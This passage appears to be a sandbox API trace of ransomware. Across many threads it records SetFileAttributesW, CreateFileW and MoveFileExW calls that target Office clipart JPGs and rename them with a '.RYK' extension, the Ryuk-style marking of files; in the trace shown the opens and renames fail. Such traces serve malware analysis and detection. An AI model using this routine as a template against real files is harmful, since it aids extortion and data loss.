	[0257.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2974
	os_tid = 0x33dc

	[0257.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG", dwFileAttributes=0x80) returned 0
	[0257.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.772] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2975
	os_tid = 0x33e0

	[0257.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG", dwFileAttributes=0x80) returned 0
	[0257.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.771] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2976
	os_tid = 0x33e4

	[0257.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG", dwFileAttributes=0x80) returned 0
	[0257.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.774] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2977
	os_tid = 0x33e8

	[0257.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", dwFileAttributes=0x80) returned 0
	[0257.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2978
	os_tid = 0x33ec

	[0257.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG", dwFileAttributes=0x80) returned 0
	[0257.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2979
	os_tid = 0x33f0

	[0257.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG", dwFileAttributes=0x80) returned 0
	[0257.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.780] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2980
	os_tid = 0x33f4

	[0257.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG", dwFileAttributes=0x80) returned 0
	[0257.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.790] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2981
	os_tid = 0x33f8

	[0257.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG", dwFileAttributes=0x80) returned 0
	[0257.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.793] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2982
	os_tid = 0x33fc

	[0257.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG", dwFileAttributes=0x80) returned 0
	[0257.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.797] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2983
	os_tid = 0x2ed8

	[0257.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG", dwFileAttributes=0x80) returned 0
	[0257.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.801] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2984
	os_tid = 0x2e64

	[0257.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG", dwFileAttributes=0x80) returned 0
	[0257.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.799] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.799] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2985
	os_tid = 0x1150

	[0257.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG", dwFileAttributes=0x80) returned 0
	[0257.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.803] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2986
	os_tid = 0x2ecc

	[0257.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG", dwFileAttributes=0x80) returned 0
	[0257.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2987
	os_tid = 0x140

	[0257.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG", dwFileAttributes=0x80) returned 0
	[0257.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2988
	os_tid = 0x3110

	[0257.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG", dwFileAttributes=0x80) returned 0
	[0257.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.814] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2989
	os_tid = 0x3138

	[0257.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG", dwFileAttributes=0x80) returned 0
	[0257.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.812] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2990
	os_tid = 0x310c

	[0257.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG", dwFileAttributes=0x80) returned 0
	[0257.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.816] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2991
	os_tid = 0x3058

	[0257.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG", dwFileAttributes=0x80) returned 0
	[0257.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.818] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3003
	os_tid = 0x2ed4

	[0257.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG", dwFileAttributes=0x80) returned 0
	[0257.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.824] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.824] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3004
	os_tid = 0x2dc

	[0257.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG", dwFileAttributes=0x80) returned 0
	[0257.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3005
	os_tid = 0x32e4

	[0257.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG", dwFileAttributes=0x80) returned 0
	[0257.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.826] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3006
	os_tid = 0x1c48

	[0257.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG", dwFileAttributes=0x80) returned 0
	[0257.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.829] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3007
	os_tid = 0x1fa4

	[0257.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG", dwFileAttributes=0x80) returned 0
	[0257.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3008
	os_tid = 0x2304

	[0257.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG", dwFileAttributes=0x80) returned 0
	[0257.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3009
	os_tid = 0x2084

	[0257.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG", dwFileAttributes=0x80) returned 0
	[0257.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3010
	os_tid = 0x1dcc

	[0257.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG", dwFileAttributes=0x80) returned 0
	[0257.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
